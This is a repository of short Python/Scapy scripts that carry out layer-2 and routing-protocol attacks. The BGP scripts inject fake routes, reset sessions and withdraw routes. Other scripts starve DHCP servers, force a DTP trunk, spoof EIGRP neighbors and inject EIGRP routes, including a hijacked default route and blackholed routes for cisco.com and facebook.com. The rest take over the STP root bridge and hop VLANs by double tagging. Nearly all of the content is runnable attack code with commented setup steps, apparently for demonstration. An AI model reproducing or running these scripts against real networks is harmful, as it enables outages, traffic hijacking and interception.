├── LICENSE ├── bgp-add-fake-routes.py ├── bgp-dos-reset-neighbors.py ├── bgp-remove-route.py ├── dhcp-exhaustion-basic.py ├── dhcp-exhaustion-more-complex.py ├── dtp-form-a-trunk.py ├── eigrp-dos-network.py ├── eigrp-many-fake-neighbors.py ├── eigrp-one-fake-neighbor.py ├── eigrp-route-injection.py ├── spanning-tree-capture-and-overview.py ├── spanning-tree-dos-root-port.py ├── spanning-tree-root-attack.py └── vlan-hopping.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 davidbombal 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /bgp-add-fake-routes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Import time so we can set a sleep timer 3 | import time 4 | #Import scapy 5 | from scapy.all import * 6 | #Import BGP 7 | load_contrib('bgp') 8 | #Capture a BGP packet off the wire 9 | #You will need to change the IP address here to a valid 10 | #BGP neighbor to impersonate 11 | pkt = sniff(filter="tcp and ip dst 192.168.1.249",count=1) 12 | 13 | #Loop for sending packets 14 | for i in range (0, 3): 15 | #Create a new Ethernet frame 16 | frame1=Ether() 17 | #Set destination MAC address to captured BGP frame 18 | frame1.dst = pkt[0].dst 19 | #Set source MAC address to captured BGP frame 20 | frame1.src = pkt[0].src 21 | #Set Ethernet Type to captured BGP frame 22 | frame1.type = pkt[0].type 23 | #Set destination port to captured BGP packet TCP port number 24 | mydport = pkt[0].dport 25 | #Set source port to captured BGP packet TCP port number 26 | mysport = pkt[0].sport 27 | #Set sequence number to captured BGP packet + i (loop value) 28 | seq_num = pkt[0].seq + i 29 | #Set ack number to captured BGP packet 30 | ack_num = pkt[0].ack 31 | #Set source IP address to captured BGP packet 32 | ipsrc = pkt[0][IP].src 33 | #Set desination IP address to captured BGP packet 34 | ipdst = pkt[0][IP].dst 35 | 36 | #Set BGP origin to IGP 37 | setORIGIN=BGPPathAttr(type_flags="Transitive", type_code="ORIGIN", attribute=[BGPPAOrigin(origin="IGP")]) 38 | #Set BGP autonomos system path - change this to the right value 39 | setAS=BGPPathAttr(type_flags="Transitive", type_code="AS_PATH", attribute=None) 40 | #Set BGP next hop - change this to the right value 41 | setNEXTHOP=BGPPathAttr(type_flags="Transitive", type_code="NEXT_HOP", attribute=[BGPPANextHop(next_hop="192.168.1.246")]) 42 | #Set BGP MED - change this to the right value 43 | setMED=BGPPathAttr(type_flags="Optional", type_code="MULTI_EXIT_DISC", attribute=[BGPPAMultiExitDisc(med=0)]) 44 | #Set BGP local preference - change this to the right value 45 | setLOCALPREF=BGPPathAttr(type_flags="Transitive", type_code="LOCAL_PREF", attribute=[BGPPALocalPref(local_pref=100)]) 46 | 47 | #Create BGP Update packet with source and destination IP address 48 | #Set Attributes and route to update 49 | bgp_update = IP(src=ipsrc, dst=ipdst, ttl=1)\ 50 | /TCP(dport=mydport, sport=mysport, flags="PA", seq=seq_num, ack=ack_num)\ 51 | /BGPHeader(marker=340282366920938463463374607431768211455, type="UPDATE")\ 52 | /BGPUpdate(withdrawn_routes_len=0, \ 53 | path_attr=[setORIGIN, setAS, setNEXTHOP, setMED, setLOCALPREF], nlri=[BGPNLRI_IPv4(prefix="12.12.12.12/32")]) 54 | 55 | #Display new packet 56 | bgp_update.show() 57 | #Reset len values to force recalculation 58 | del bgp_update[BGPHeader].len 59 | del bgp_update[BGPHeader].path_attr_len 60 | del bgp_update[BGPUpdate].path_attr_len 61 | del bgp_update[BGPUpdate][0][BGPPathAttr].attr_len 62 | del bgp_update[BGPUpdate][1][BGPPathAttr].attr_len 63 | del bgp_update[BGPUpdate][3][BGPPathAttr].attr_len 64 | del bgp_update[BGPUpdate][4][BGPPathAttr].attr_len 65 | del bgp_update[IP].len 66 | #Send packet into network = frame1 + bgp_update 67 | sendp(frame1/bgp_update) 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /bgp-dos-reset-neighbors.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Import time so we can set a sleep timer 3 | import time 4 | #Import scapy 5 | from scapy.all import * 6 | #Import BGP 7 | load_contrib('bgp') 8 | 9 | #Loop to sniff packets 10 | for i in range (0, 5): 11 | #Sniff for a BGP packet - change IP address to the right IP address 12 | pkt = sniff(filter="tcp and ip dst 192.168.1.249",count=1) 13 | 14 | for i in range (0, 10): 15 | #Create a new Ethernet frame 16 | frame1=Ether() 17 | #Set destination MAC address to captured BGP frame 18 | frame1.dst = pkt[0].dst 19 | #Set source MAC address to captured BGP frame 20 | frame1.src = pkt[0].src 21 | #Set Ethernet Type to captured BGP frame 22 | frame1.type = pkt[0].type 23 | #Set destination port to captured BGP packet TCP port number 24 | mydport = pkt[0].dport 25 | #Set source port to captured BGP packet TCP port number 26 | mysport = pkt[0].sport 27 | #Set sequence number to captured BGP packet + i (loop value) 28 | seq_num = pkt[0].seq + i 29 | #Set ack number to captured BGP packet 30 | ack_num = pkt[0].ack 31 | #Set source IP address to captured BGP packet 32 | ipsrc = pkt[0][IP].src 33 | #Set desination IP address to captured BGP packet 34 | ipdst = pkt[0][IP].dst 35 | #Craft notification BGP packet. Type 3 is notification. Marker is a bunch of F's in hex 36 | bgp_reset = IP(src=ipsrc, dst=ipdst, ttl=1)\ 37 | /TCP(dport=mydport, sport=mysport, flags="PA", seq=seq_num, ack=ack_num)\ 38 | /BGPHeader(marker=340282366920938463463374607431768211455, len=21,\ 39 | type=3) 40 | #Send packet into network = frame1 + bgp_reset 41 | sendp(frame1/bgp_reset) 42 | frame1.show() 43 | bgp_reset.show() 44 | time.sleep(1) 45 | 46 | 47 | -------------------------------------------------------------------------------- /bgp-remove-route.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Import time so we can set a sleep timer 3 | import time 4 | #Import scapy 5 | from scapy.all import * 6 | #Import BGP 7 | load_contrib('bgp') 8 | 9 | #Sniff for a BGP packet 10 | pkt = sniff(filter="tcp and ip dst 192.168.1.249",count=1) 11 | 12 | for i in range (0, 2): 13 | #Create a new Ethernet frame 14 | frame1=Ether() 15 | #Set destination MAC address to captured BGP frame 16 | frame1.dst = pkt[0].dst 17 | #Set source MAC address to captured BGP frame 18 | frame1.src = pkt[0].src 19 | #Set Ethernet Type to captured BGP frame 20 | frame1.type = pkt[0].type 21 | #Set destination port to captured BGP packet TCP port number 22 | mydport = pkt[0].dport 23 | #Set source port to captured BGP packet TCP port number 24 | mysport = pkt[0].sport 25 | #Set sequence number to captured BGP packet + i (loop value) 26 | seq_num = pkt[0].seq + i 27 | #Set ack number to captured BGP packet 28 | ack_num = pkt[0].ack 29 | #Set source IP address to captured BGP packet 30 | ipsrc = pkt[0][IP].src 31 | #Set desination IP address to captured BGP packet 32 | ipdst = pkt[0][IP].dst 33 | #Craft BGP route removal packet (update to remove route) Marker is a bunch of F's in hex 34 | bgp_remove = IP(src=ipsrc, dst=ipdst, ttl=1)\ 35 | /TCP(dport=mydport, sport=mysport, flags="PA", seq=seq_num, ack=ack_num)\ 36 | /BGPHeader(marker=340282366920938463463374607431768211455, len=28, type="UPDATE")\ 37 | /BGPUpdate(withdrawn_routes_len=5, withdrawn_routes=[BGPNLRI_IPv4(prefix="8.8.8.8/32")]) 38 | 39 | sendp(frame1/bgp_remove) 40 | time.sleep(1) 41 | 42 | 43 | -------------------------------------------------------------------------------- /dhcp-exhaustion-basic.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #DHCP Starvation: 3 | #Import Scapy 4 | from scapy.all import * 5 | #conf.checkIPaddr needs to be set to False. 6 | #When conf.checkIpaddr the reponse IP isn't checked 7 | #against sending IP address. Don't need to match. 8 | conf.checkIPaddr = False 9 | 10 | #Create DHCP discover with destination IP = broadadcast 11 | #Source MAC address is a random MAC address 12 | #Source IP address = 0.0.0.0 13 | #Destination IP address = broadcast 14 | #Source port = 68 (DHCP / BOOTP Client) 15 | #Destination port = 67 (DHCP / BOOTP Server) 16 | #DHCP message type is discover 17 | dhcp_discover = Ether(dst='ff:ff:ff:ff:ff:ff',src=RandMAC()) \ 18 | /IP(src='0.0.0.0',dst='255.255.255.255') \ 19 | /UDP(sport=68,dport=67) \ 20 | /BOOTP(op=1,chaddr = RandMAC()) \ 21 | /DHCP(options=[('message-type','discover'),('end')]) 22 | 23 | #Send packet out of eth0 and loop the packet 24 | sendp(dhcp_discover,iface='eth0',loop=1,verbose=1) 25 | 26 | #Credits: 27 | #https://scapy.readthedocs.io/_/downloads/en/latest/pdf/ 28 | #https://www.programcreek.com/ 29 | -------------------------------------------------------------------------------- /dhcp-exhaustion-more-complex.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import scapy.all as scapy 3 | from scapy.all import Ether, IP, UDP, BOOTP, DHCP, sendp, RandMAC, conf 4 | from time import sleep 5 | import ipaddress 6 | # conf.checkIPaddr needs to be set to False. Answer will only be accepted by scapy when it is set to false. 7 | # When conf.checkIpaddr is set to False we do not require the IPs to be swapped to count as a response. 8 | conf.checkIPaddr = False 9 | possible_ips = [str(ip) for ip in ipaddress.IPv4Network('192.168.1.0/24')] 10 | # Create a DHCP starvation attack. 11 | # Create packets with unique bogus MAC Addresses and use them to ask for IP Addresses. 12 | # This will lead to a Denial of Service Attack (DoS) as the DHCP server will not be able to give out more IP Addresses. 13 | 14 | for ip_add in possible_ips: 15 | # RandMAC() creates random MAC Addresses. 16 | bog_src_mac = RandMAC() 17 | # Build DHCP Discover Packet 18 | # We need to send a packet that broadcasts random MAC Addresses. We assign the bogus MAC Address as the source MAC Address. 19 | broadcast = Ether(src=bog_src_mac, dst="ff:ff:ff:ff:ff:ff") 20 | ip = IP(src="0.0.0.0", dst="255.255.255.255") 21 | 22 | # For UDP -> sport is the random port of origin -> The server sends DHCP messages to UDP port 68 (Which is used for the DHCP Client / Bootstrap Protocol Client). 23 | # For UDP -> dport is the destination port -> The client sends DHCP messages to UDP port 67 (Which is used for the DHCP Server / Bootstrap Protocol Server). 24 | udp = UDP(sport=68, dport=67) 25 | # The opcode of 1 says that it is a boot request. The client hardware address is assigned a random MAC Address. BootP is the predecessor of DHCP. 26 | bootp = BOOTP(op=1,chaddr = bog_src_mac) 27 | # We want to send a DHCP discover message. This packet will ask for an IP Address from the DHCP server. 28 | dhcp = DHCP(options=[("message-type", "discover"), ("requested_addr", ip_add), ("server-id", "192.168.1.249"), ('end')]) 29 | 30 | pkt = broadcast / ip / udp / bootp / dhcp 31 | 32 | # The DHCP operates on Layer 2 of the OSI model so we should use sendp to send the segment. 33 | sendp(pkt,iface='eth0', verbose=0) 34 | # Send out a new packet every 0.4 seconds 35 | sleep(0.4) 36 | print(f"Sending packet - {ip_add}") 37 | -------------------------------------------------------------------------------- /dtp-form-a-trunk.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Import Scapy 3 | from scapy.all import * 4 | #Import DTP 5 | load_contrib("dtp") 6 | #Capture DTP frame 7 | pkt = sniff(filter="ether dst 01:00:0c:cc:cc:cc",count=1) 8 | #Change the MAC address 9 | pkt[0].src="00:00:00:11:11:11" 10 | #Change to desirable 11 | pkt[0][DTP][DTPStatus].status='\x03' 12 | #Send frame into network 13 | sendp(pkt[0], loop=0, verbose=1) 14 | -------------------------------------------------------------------------------- /eigrp-dos-network.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Import time so we can set a sleep timer 3 | import time 4 | #Import scapy 5 | from scapy.all import * 6 | #Import EIGRP 7 | load_contrib('eigrp') 8 | #Create a loop 9 | for i in range (0, 50): 10 | #Send EIGRP packet to reset neighbor relationships. 11 | #Change the source IP address (src) to the correct IP address 12 | #Change Autonomous System number (asn) to the correct number 13 | sendp(Ether()/IP(src="192.168.122.171",dst="224.0.0.10")/EIGRP(asn=100, 14 | tlvlist=[EIGRPParam(k1=255, k2=255, k3=255, k4=255, k5=255),EIGRPSwVer()])) 15 | #Add a one second delay 16 | time.sleep(1) 17 | 18 | 19 | #Credits: 20 | #Warning: You visit any sites listed at your own risk. 21 | #https://scapy.readthedocs.io/_/downloads/en/latest/pdf/ 22 | #https://scapy.ml.secdev.narkive.com/mKiGyM29/scapy-eigrp-layer-use-cases 23 | -------------------------------------------------------------------------------- /eigrp-many-fake-neighbors.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Add fake EIGRP neigbors, mulitple packets 3 | #Import scapy 4 | from scapy.all import * 5 | #Import EIGRP 6 | load_contrib('eigrp') 7 | #Sniff for an EIGRP packet 8 | pkt = sniff(filter="ip dst 224.0.0.10",count=1) 9 | #Create loop 10 | for i in range (0,255): 11 | #Set host IP address 12 | host = "192.168.122.%s" %(i) 13 | #Change the source MAC address 14 | pkt[0].src="00:00:00:11:11:11" 15 | #Change the source IP address 16 | pkt[0][IP].src=host 17 | #Change Checksum 18 | pkt[0][IP].chksum=None 19 | #Send packet into network 20 | sendp(pkt[0], loop=0, verbose=1) 21 | -------------------------------------------------------------------------------- /eigrp-one-fake-neighbor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Add fake EIGRP neigbor, one packet 3 | #Import scapy 4 | from scapy.all import * 5 | #Import EIGRP 6 | load_contrib('eigrp') 7 | #Sniff for an EIGRP packet 8 | pkt = sniff(filter="ip dst 224.0.0.10",count=1) 9 | #Change the source MAC address 10 | pkt[0].src="00:00:00:11:11:11" 11 | #Change the source IP address 12 | pkt[0][IP].src="192.168.122.123" 13 | #Change Checksum 14 | pkt[0][IP].chksum=None 15 | #Send packet into network 16 | sendp(pkt[0], loop=0, verbose=1) 17 | -------------------------------------------------------------------------------- /eigrp-route-injection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #HACK EIGRP - inject fake routes 3 | #Import time so we can set a sleep timer 4 | import time 5 | #Import scapy 6 | from scapy.all import * 7 | #Import EIGRP 8 | load_contrib('eigrp') 9 | 10 | #For Loop to send multiple packets 11 | for i in range (0,100): 12 | 13 | #Inject fake route 192.168.100.0 14 | sendp(Ether()/IP(src="192.168.1.248",dst="224.0.0.10") \ 15 | /EIGRP(opcode="Update", asn=100, seq=0, ack=0, \ 16 | tlvlist=[EIGRPIntRoute(dst="192.168.100.0", nexthop="192.168.1.248")])) 17 | 18 | #Inject fake route 192.168.101.0 19 | sendp(Ether()/IP(src="192.168.1.248",dst="224.0.0.10") \ 20 | /EIGRP(opcode="Update", asn=100, seq=0, ack=0, \ 21 | tlvlist=[EIGRPIntRoute(dst="192.168.101.0", nexthop="192.168.1.248")])) 22 | 23 | #DOS cisco.com - you will need to check which network is used 24 | sendp(Ether()/IP(src="192.168.1.248",dst="224.0.0.10") \ 25 | /EIGRP(opcode="Update", asn=100, seq=0, ack=0, \ 26 | tlvlist=[EIGRPIntRoute(dst="72.163.4.0", nexthop="192.168.1.248")])) 27 | 28 | #DOS facebook.com - you will need to check which network is used 29 | sendp(Ether()/IP(src="192.168.1.248",dst="224.0.0.10") \ 30 | /EIGRP(opcode="Update", asn=100, seq=0, ack=0, \ 31 | tlvlist=[EIGRPIntRoute(dst="157.240.214.0", nexthop="192.168.1.248")])) 32 | 33 | #Change default route 34 | sendp(Ether()/IP(src='192.168.1.248',dst='224.0.0.10') \ 35 | /EIGRP(opcode="Update", asn=100, seq=0, ack=0, \ 36 | tlvlist=[EIGRPExtRoute(dst='0.0.0.0', nexthop='192.168.1.248', \ 37 | originrouter='192.168.1.248', prefixlen=0, flags="candidate-default")])) 38 | 39 | time.sleep(2) 40 | 41 | 42 | #Credits: 43 | #Warning: You visit any sites listed at your own risk. 44 | #https://scapy.readthedocs.io/_/downloads/en/latest/pdf/ 45 | #https://scapy.ml.secdev.narkive.com/mKiGyM29/scapy-eigrp-layer-use-cases 46 | -------------------------------------------------------------------------------- /spanning-tree-capture-and-overview.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Import scapy 3 | from scapy.all import * 4 | 5 | #Capture STP frame 6 | pkt = sniff(filter="ether dst 01:80:c2:00:00:00",count=1) 7 | 8 | #View captured frame 9 | pkt[0] 10 | 11 | #View captured frame - show nicely 12 | pkt[0].show() 13 | 14 | #View 802.3 Ethernet 15 | pkt[0][0].show() 16 | 17 | #View Logical-Link Control 18 | pkt[0][1].show() 19 | 20 | #View STP 21 | pkt[0][2].show() 22 | -------------------------------------------------------------------------------- /spanning-tree-dos-root-port.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Import scapy 3 | from scapy.all import * 4 | #Capture STP frame 5 | pkt = sniff(filter="ether dst 01:80:c2:00:00:00",count=1) 6 | 7 | #Block port to root switch 8 | #Set cost to root to zero 9 | pkt[0].pathcost = 0 10 | 11 | #Set bridge MAC to root brige 12 | pkt[0].bridgemac = pkt[0].rootmac 13 | #Set port ID to 1 14 | pkt[0].portid = 1 15 | 16 | #Loop to send multiple BPDUs 17 | for i in range (0, 50): 18 | time.sleep(1) 19 | pkt[0].show() 20 | sendp(pkt[0], loop=0, verbose=1) 21 | 22 | -------------------------------------------------------------------------------- /spanning-tree-root-attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Import scapy 3 | from scapy.all import * 4 | #Capture STP frame 5 | pkt = sniff(filter="ether dst 01:80:c2:00:00:00",count=1) 6 | #Change the MAC address in the frame to the following: 7 | pkt[0].src="00:00:00:00:00:01" 8 | #Set Rootid 9 | pkt[0].rootid=0 10 | #Set rootmac 11 | pkt[0].rootmac="00:00:00:00:00:01" 12 | #Set Bridgeid 13 | pkt[0].bridgeid=0 14 | #Set rootmac 15 | pkt[0].bridgemac="00:00:00:00:00:01" 16 | #Show changed frame 17 | pkt[0].show() 18 | #Loop to send multiple frames into the network: 19 | for i in range (0, 50): 20 | #Send changed frame back into the network: 21 | sendp(pkt[0], loop=0, verbose=1) 22 | #Sleep / wait for one second: 23 | time.sleep(1) 24 | -------------------------------------------------------------------------------- /vlan-hopping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | #Import scapy 4 | from scapy.all import * 5 | 6 | #Craft packet with 802.1Q headers 7 | packet = Ether(dst="ff:ff:ff:ff:ff:ff")/\ 8 | Dot1Q(vlan=1)/\ 9 | Dot1Q(vlan=2)/\ 10 | Dot1Q(vlan=2)/\ 11 | IP(src="10.1.2.3",dst="10.1.2.254")/\ 12 | ICMP() 13 | 14 | #Show packet 15 | packet.show() 16 | 17 | #Sent packet 18 | sendp(packet) 19 | --------------------------------------------------------------------------------